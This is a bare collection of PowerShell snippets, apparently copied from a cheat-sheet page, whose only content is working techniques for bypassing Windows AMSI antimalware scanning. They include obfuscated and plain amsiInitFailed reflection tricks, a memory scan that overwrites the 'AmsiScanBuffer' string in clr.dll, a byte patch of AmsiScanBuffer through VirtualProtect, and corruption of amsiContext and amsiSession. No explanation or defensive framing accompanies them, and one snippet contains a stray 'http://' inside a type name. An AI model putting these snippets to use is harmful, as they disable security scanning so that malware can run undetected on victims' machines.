Copy S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Copy # Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260#Helper functionsfunction IsReadable { param ($protect, $state) return ( (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT )}function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true}if($PSVersionTable.PSVersion.Major -gt 2) { #Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32"); $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False); #Define structs $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]); [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public); $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType(); #Define structs $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]); [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public); $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType(); #P/Invoke Methods $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class"); $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])); $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError"); $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True)); #Define [Win32.Kernel32]::VirtualProtect $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetCurrentProcess $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::VirtualQuery $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetSystemInfo $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetMappedFileName $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::ReadProcessMemory $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::WriteProcessMemory $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); $Kernel32 = $TypeBuilder.CreateType(); $a = "Ams"; $b = "iSc"; $c = "anBuf"; $d = "fer"; $signature = [System.Text.Encoding]::UTF8.GetBytes($a+$b+$c+$d); $hProcess = [Win32.Kernel32]::GetCurrentProcess(); #Get system information $sysInfo = New-Object Win32.SYSTEM_INFO; [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo); #List of memory regions to scan $memoryRegions = @(); $address = [IntPtr]::Zero; #Scan through memory regions while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) { $memInfo = New-Object Win32.MEMORY_INFO_BASIC; if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) { $memoryRegions += $memInfo; } #Move to the next memory region $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64()); } $count = 0; #Loop through memory regions foreach ($region in $memoryRegions) { #Check if the region is readable and writable if (-not (IsReadable $region.Protect $region.State)) { continue; } #Check if the region contains a mapped file $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) { $path = $pathBuilder.ToString(); if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) { #Scan the region for the pattern $buffer = New-Object byte[] $region.RegionSize.ToInt64(); $bytesRead = 0; [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead); for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) { $found = $True; for($m = 0; $m -lt $signature.Length; $m++) { if($buffer[$k + $m] -ne $signature[$m]) { $found = $False; break; } } if ($found) { $oldProtect = 0; if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect); } $replacement = New-Object byte[] $signature.Length; $bytesWritten = 0; [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten); $count++; if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect); } } } } } }}
Copy [Ref].Assembly.GetType('http://System.Management .Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Copy [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)
Copy Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@;
$patch = [Byte[]] (0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3);
$hModule = [Kernel32]::LoadLibrary("amsi.dll");
$lpAddress = [Kernel32]::GetProcAddress($hModule, "Amsi"+"ScanBuffer");
$lpflOldProtect = 0;
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), 0x40, [ref]$lpflOldProtect) | Out-Null;
$marshal = [System.Runtime.InteropServices.Marshal];
$marshal::Copy($patch, 0, $lpAddress, $patch.Length);
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), $lpflOldProtect, [ref]$lpflOldProtect) | Out-Null;
Copy $utils = [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils');
$context = $utils.GetField('amsi'+'Context','NonPublic,Static');
$session = $utils.GetField('amsi'+'Session','NonPublic,Static');
$marshal = [System.Runtime.InteropServices.Marshal];
$newContext = $marshal::AllocHGlobal(4);
$context.SetValue($null,[IntPtr]$newContext);
$session.SetValue($null,$null); 
